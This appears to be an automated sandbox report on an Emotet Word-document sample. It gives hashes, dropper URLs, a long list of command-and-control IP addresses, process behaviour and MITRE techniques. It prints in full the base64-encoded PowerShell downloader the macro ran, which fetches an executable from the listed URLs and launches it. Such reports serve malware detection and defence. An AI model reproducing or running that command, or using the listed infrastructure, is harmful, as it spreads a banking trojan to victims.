emotet | c339ede6e08cef35a2de6c05bc44080a8944c3c0e50339ae6d2b06ff62228271

General

Target
18348252.doc
Size 171KB
Sample200731-xkcppcn7zx
SHA256 c339ede6e08cef35a2de6c05bc44080a8944c3c0e50339ae6d2b06ff62228271
MD5 0d248d5f0a80382d79ebc0d7d13ef902
SHA1 a2abc8b0da556e0c10dd13c5926aad55362cba59
SHA512 b6cc38d52b53e27eb27ed1abbb3e0eda38a97d16d7d246d527eff9bec03a1f01c4213c39d0f92334abc1d734b2ede943b4269dc1a734524b409ccd78f02e53dd
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://amventas.com/public/iu1c_vtucu_ruec/
exe.dropper
http://www.cotrafina.com/wp-content/xrmq_7ug_ttv/
exe.dropper
http://webappbr.com/wp-admin/ha_s5_3wf/
exe.dropper
http://whatsappsenderpro.com/Videos/4wl_0q0m_g61c3/
exe.dropper
http://bartboutens.nl/wp-admin/no77z_k3_azs/

Extracted

Family

emotet

C2

47.146.117.214:80
62.108.54.22:8080
212.51.142.238:8080
190.160.53.126:80
87.106.136.232:8080
74.208.45.104:8080
121.124.124.40:7080
124.45.106.173:443
76.27.179.47:80
210.165.156.91:80
61.19.246.238:443
81.2.235.111:8080
169.239.182.217:8080
181.230.116.163:80
139.130.242.43:80
46.105.131.87:80
139.59.60.244:8080
222.214.218.37:4143
41.60.200.34:80
200.55.243.138:8080
24.234.133.205:80
190.55.181.54:443
189.212.199.126:443
93.156.165.186:80
62.138.26.28:8080
62.75.141.82:80
176.111.60.55:8080
168.235.67.138:7080
109.117.53.230:443
5.196.74.210:8080
162.154.38.103:80
152.168.248.128:443
83.110.223.58:443
95.9.185.228:443
180.92.239.110:8080
209.141.54.221:8080
37.187.72.193:8080
113.160.130.116:8443
85.59.136.180:8080
79.98.24.39:8080
91.231.166.124:8080
185.94.252.104:443
108.48.41.69:80
95.179.229.244:8080
71.208.216.10:80
93.51.50.171:8080
78.24.219.147:8080
24.179.13.119:80
200.41.121.90:80
153.126.210.205:7080
104.236.246.93:8080
46.105.131.79:8080
201.173.217.124:443
50.116.86.205:8080
116.203.32.252:8080
157.245.99.39:8080
109.74.5.95:8080
203.153.216.189:7080
87.106.139.101:8080
137.59.187.107:8080
110.145.77.103:80
47.153.182.47:80
95.213.236.64:8080
24.43.99.75:80
209.182.216.177:443
173.91.22.41:80
5.39.91.110:7080
75.139.38.211:80
91.211.88.52:7080
37.139.21.175:8080
162.241.92.219:8080
104.131.11.150:443
70.167.215.250:8080
104.131.44.150:8080
103.86.49.11:8080
65.111.120.223:80

rsa_pubkey.plain

Signatures

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4016	powersheLL.exe
4016	powersheLL.exe
4016	powersheLL.exe
2676	frprov.exe
2676	frprov.exe
2676	frprov.exe
2676	frprov.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2676	2328	684.exe	75
PID 2328 wrote to memory of 2676	2328	684.exe	75
PID 2328 wrote to memory of 2676	2328	684.exe	75

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2328-10-0x0000000000560000-0x000000000056C000-memory.dmp	emotet
behavioral2/memory/2328-10-0x0000000000560000-0x000000000056C000-memory.dmp	emotet
behavioral2/memory/2676-13-0x00000000005D0000-0x00000000005DC000-memory.dmp	emotet
behavioral2/memory/2676-13-0x00000000005D0000-0x00000000005DC000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\fingerprintcredential\frprov.exe	684.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
2328	684.exe
2676	frprov.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4016	powersheLL.exe

Blacklisted process makes network request 3 IoCs

flow	pid	Process
17	4016	powersheLL.exe
19	4016	powersheLL.exe
21	4016	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2328	684.exe
2676	frprov.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4016	668	powersheLL.exe	66

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\18348252.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAEkAUQBPAFAAaQB5AHYAPQAnAFYARABTAEoASwBqAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAHUAcgBJAFQAYABZAGAAcAByAG8AdABgAG8AQwBgAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEYATABXAEoAUgBjAGYAZAAgAD0AIAAnADYAOAA0ACcAOwAkAFgAWQBPAFgASABtAG8AbwA9ACcARABNAFQAQgBYAHkAYwBtACcAOwAkAFkARwBDAEcAQgB6AG4AbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARgBMAFcASgBSAGMAZgBkACsAJwAuAGUAeABlACcAOwAkAEsAUgBVAEgARgByAHMAbAA9ACcAVwBBAE4AVgBNAGsAZgBmACcAOwAkAEsAVQBBAEoARQBtAGQAeQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAFQALgB3AEUAYgBDAEwAaQBlAE4AVAA7ACQARQBaAE4ASwBWAGYAdABhAD0AJwBoAHQAdABwADoALwAvAGEAbQB2AGUAbgB0AGEAcwAuAGMAbwBtAC8AcAB1AGIAbABpAGMALwBpAHUAMQBjAF8AdgB0AHUAYwB1AF8AcgB1AGUAYwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGMAbwB0AHIAYQBmAGkAbgBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeAByAG0AcQBfADcAdQBnAF8AdAB0AHYALwAqAGgAdAB0AHAAOgAvAC8AdwBlAGIAYQBwAHAAYgByAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoAGEAXwBzADUAXwAzAHcAZgAvACoAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AHMAYQBwAHAAcwBlAG4AZABlAHIAcAByAG8ALgBjAG8AbQAvAFYAaQBkAGUAbwBzAC8ANAB3AGwAXwAwAHEAMABtAF8AZwA2ADEAYwAzAC8AKgBoAHQAdABwADoALwAvAGIAYQByAHQAYgBvAHUAdABlAG4AcwAuAG4AbAAvAHcAcAAtAGEAZABtAGkAbgAvAG4AbwA3ADcAegBfAGsAMwBfAGEAegBzAC8AJwAuACIAUwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAEwASgBCAEIAdQBxAHMAPQAnAEIAQwBWAEwASQB3AGcAdQAnADsAZgBvAHIAZQBhAGMAaAAoACQATgBEAFYARwBCAHIAegB2ACAAaQBuACAAJABFAFoATgBLAFYAZgB0AGEAKQB7AHQAcgB5AHsAJABLAFUAQQBKAEUAbQBkAHkALgAiAEQAbwB3AGAATgBMAGAATwBBAGQAZgBpAGAATABlACIAKAAkAE4ARABWAEcAQgByAHoAdgAsACAAJABZAEcAQwBHAEIAegBuAG8AKQA7ACQARgBRAFQAVwBGAHYAbQByAD0AJwBVAEgAQQBKAFYAcwBkAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABZAEcAQwBHAEIAegBuAG8AKQAuACIATABlAE4AYABHAFQAaAAiACAALQBnAGUAIAAyADAAOAA5ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQB0AEUAIgAoACQAWQBHAEMARwBCAHoAbgBvACkAOwAkAEkAUQBBAFEATgB2AHEAagA9ACcATABTAFIATwBSAGoAYQBvACcAOwBiAHIAZQBhAGsAOwAkAEwARwBOAFAASgBmAHcAawA9ACcAUwBHAEMASABOAHYAaQBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAWgBGAEIATwBtAGgAZgA9ACcAQwBTAEkAWgBWAGQAYgBpACcA
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
PID:4016

C:\Users\Admin\684.exe
C:\Users\Admin\684.exe
1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:2328
- C:\Windows\SysWOW64\fingerprintcredential\frprov.exe
  "C:\Windows\SysWOW64\fingerprintcredential\frprov.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  PID:2676

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2328-10-0x0000000000560000-0x000000000056C000-memory.dmp

Download

memory/2676-13-0x00000000005D0000-0x00000000005DC000-memory.dmp

Download

memory/3828-3-0x00000257C6D9C000-0x00000257C6DAC000-memory.dmp

Download

memory/3828-7-0x00000257C91D4000-0x00000257C91E8000-memory.dmp

Download

memory/3828-6-0x00000257C91D4000-0x00000257C91E8000-memory.dmp

Download

memory/3828-5-0x00000257C91D4000-0x00000257C91E8000-memory.dmp

Download

memory/3828-4-0x00000257C91D4000-0x00000257C91E8000-memory.dmp

Download

memory/3828-0-0x00000257C90FD000-0x00000257C9102000-memory.dmp

Download

memory/3828-2-0x00000257C90FD000-0x00000257C9102000-memory.dmp

Download

memory/3828-1-0x00000257C90F8000-0x00000257C90FD000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads